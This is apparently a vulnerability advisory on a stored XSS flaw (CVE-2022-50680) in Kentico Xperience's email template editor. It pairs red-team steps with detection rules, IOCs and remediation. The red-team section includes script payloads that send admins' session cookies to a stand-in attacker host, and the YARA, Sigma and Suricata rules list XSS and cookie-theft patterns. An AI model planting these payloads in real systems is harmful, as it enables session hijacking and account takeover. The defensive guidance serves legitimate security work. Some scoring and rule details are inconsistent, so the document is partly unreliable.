CVE-2022-50680

Executive Summary

CVE-2022-50680 is a stored cross-site scripting (XSS) vulnerability in Kentico Xperience, a .NET-based content management system. The flaw resides in the email marketing template editor, allowing authenticated administration users to inject arbitrary JavaScript or HTML. When a victim (typically another admin or a user viewing the email preview) accesses the malicious template, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or further lateral movement within the CMS backend. No public exploit code or proof-of-concept has been released, and the vendor has not issued a patch. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the risk remains for organizations using the affected component.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Kentico Xperience is a proprietary .NET CMS distributed via NuGet and direct downloads. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): High (admin access required)
• User Interaction (UI): Required (victim must view the malicious template)
• Scope (S): Changed (attacker can affect resources beyond the vulnerable component)
• Confidentiality (C): High (session tokens, sensitive data)
• Integrity (I): High (can modify content, create new admin accounts)
• Availability (A): Low (unlikely to cause denial of service)

Threat Level: Medium. Exploitation requires authenticated admin access, but the impact is severe due to the potential for privilege escalation and data theft.

Deep Dive & Mechanics

The vulnerability exists in the email marketing module of Kentico Xperience. The template editor does not properly sanitize user-supplied input before storing it in the database. When the template is rendered (e.g., in preview mode or when sent to a recipient), the unsanitized content is injected into the HTML page without proper encoding.

Attack Flow:

1. An authenticated admin user with access to the email marketing module creates a new email template.
2. The attacker inserts malicious JavaScript into the template body, e.g., <script>alert('XSS')</script>.
3. The template is saved to the database without sanitization.
4. Another admin (or a user with preview permissions) views the template in the admin interface.
5. The browser executes the injected script, which can:
   • Steal session cookies (document.cookie)
   • Perform actions on behalf of the victim (e.g., create a new admin user)
   • Redirect to a phishing page
   • Exfiltrate data to an attacker-controlled server

Root Cause: Lack of output encoding or input validation in the template rendering pipeline. The application likely uses @Html.Raw() or similar methods without proper encoding.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable pattern and a hypothetical fix.

Vulnerable Code (C# Razor View):

@model EmailTemplate
<div>
    @Html.Raw(Model.Body)
</div>

Patched Code (Hypothetical):

@model EmailTemplate
<div>
    @Html.Encode(Model.Body)
</div>

Explanation: @Html.Raw() outputs the string without HTML encoding, allowing script injection. @Html.Encode() converts special characters like <, >, & to their HTML entities, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to a Kentico Xperience admin account with email marketing permissions.
• A target email template editor.

Steps:

1. Log in to the Kentico admin panel.
2. Navigate to Marketing > Email templates.
3. Create a new template or edit an existing one.
4. In the template body, insert the following payload:

   <script>
       fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

5. Save the template.
6. Wait for another admin to preview or edit the template. The script will execute and exfiltrate their session cookie.

Advanced Payload (Session Hijacking):

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/exfil', true);
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.send(JSON.stringify({cookie: document.cookie}));
</script>

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual JavaScript in email template fields via database logs.
• Use Web Application Firewall (WAF) rules to block <script> tags in POST requests to template endpoints.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Apply input validation and output encoding (see patched code).
• Restrict admin access to the email marketing module to trusted users only.
• Implement a strict CSP: default-src 'self'; script-src 'self'.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the Kentico server, especially containing document.cookie or localStorage data.
• File System: Modified email template files in the database (look for <script> tags in CMS_EmailTemplate table).
• Logs: Admin audit logs showing creation or modification of email templates by unexpected users.
• Browser: Unusual JavaScript execution in the admin interface, e.g., alert() or fetch() calls.

Example IOC (Database Query):

SELECT TemplateName, TemplateBody FROM CMS_EmailTemplate WHERE TemplateBody LIKE '%<script>%';

Detection Engineering

YARA Rule

rule Kentico_XSS_EmailTemplate {
    meta:
        description = "Detects stored XSS payloads in Kentico email templates"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-50680"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $onload = /onload\s*=/ nocase
        $onerror = /onerror\s*=/ nocase
        $javascript = /javascript\s*:/ nocase
    condition:
        any of them
}

Sigma Rule

title: Kentico XSS via Email Template
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Kentico email templates
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/CMSModules/Marketing/EmailTemplates/*'
        cs-uri-query|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-50680 Kentico XSS Exfiltration Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/CMSModules/Marketing/EmailTemplates/"; http_uri;
    content:"<script"; http_client_body;
    pcre:"/(document\.cookie|localStorage|fetch\()/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2022-50680;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit the number of admin users with access to the email marketing module.
2. Input Validation: Implement server-side sanitization of all template fields using a library like HtmlSanitizer for .NET.
3. Output Encoding: Replace @Html.Raw() with @Html.Encode() in all template rendering views.
4. CSP Header: Add a strict Content Security Policy to the admin interface:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fix:

• Contact Kentico support for an official patch or upgrade to a version where this is fixed (if available).
• Conduct a security audit of all custom modules and templates.

Workaround:

• Disable the email marketing module if not in use.
• Use a WAF to block malicious payloads in POST requests to template endpoints.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert